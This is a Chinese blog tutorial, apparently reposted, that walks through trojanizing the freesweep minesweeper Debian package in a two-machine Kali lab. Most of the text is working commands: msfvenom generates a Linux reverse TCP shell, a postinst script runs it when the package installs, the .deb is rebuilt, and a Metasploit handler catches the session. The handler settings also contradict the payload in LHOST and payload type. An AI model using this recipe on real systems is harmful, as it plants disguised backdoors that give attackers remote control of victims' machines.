欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

msf制作恶意deb软件包来触发后门

程序员文章站 2022-05-25 23:53:03
...

攻击机:192.168.132.144(kali1)
受害机:192.168.132.133(kali2)

本该是由攻击机生成恶意deb包,然后把包发给受害机让它访问然后监听的,但因为中间有一个包传递的过程,我就直接省略这一步直接在受害机里生成了,但监听地址是填写的攻击机。

1.第一步我们先下载所需的freesweep软件包(这里使用的是kali2)

 apt --download-only install freesweep

msf制作恶意deb软件包来触发后门

2.将软件移动到root目录

 mv /var/cache/apt/archives/freesweep_1.0.1-1_amd64.deb ~/

msf制作恶意deb软件包来触发后门
3.解压到指定free目录

dpkg -x freesweep_1.0.1-1_amd64.deb free

msf制作恶意deb软件包来触发后门

4.然后用msf生成恶意木马文件

 msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.132.144 LPORT=4444 -b "\x00" -i 10 -f elf -o /root/free/usr/games/freesweep_sources

msf制作恶意deb软件包来触发后门

5.创建生成软件包目录

 mkdir free/DEBIAN && cd free/DEBIAN

msf制作恶意deb软件包来触发后门
6.写入文件

vim /root/free/DEBIAN/control

msf制作恶意deb软件包来触发后门
内容:
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (aaa@qq.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.

(当然,version,Package后面的内容是可以自定义的)
msf制作恶意deb软件包来触发后门
7.安装后脚本文件

 vim  /root/free/DEBIAN/postinst

写入内容:

	#!/bin/bash 
sudo chmod 2755 /usr/games/freesweep_sources 
sudo /usr/games/freesweep_sources &

msf制作恶意deb软件包来触发后门
8.提权

chmod 755 /root/free/DEBIAN/postinst

msf制作恶意deb软件包来触发后门
9.构建新的deb安装包

dpkg-deb --build /root/free/

msf制作恶意deb软件包来触发后门
然后去看一下我们声称的deb安装包

 ls /root/free.deb

msf制作恶意deb软件包来触发后门
10.然后我们开一个终端开始监听(这里就是在攻击机kali1下完成的了)
aaa@qq.com:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.132.133
msf5 exploit(multi/handler) > set LPORT 4444
msf5 exploit(multi/handler) > exploit
msf制作恶意deb软件包来触发后门
11.回到kali2受害机,采用我们的deb文件

 dpkg -i free.deb

msf制作恶意deb软件包来触发后门 12.回到攻击机器的msf监听界面,发现已经进入
msf制作恶意deb软件包来触发后门

相关标签: web渗透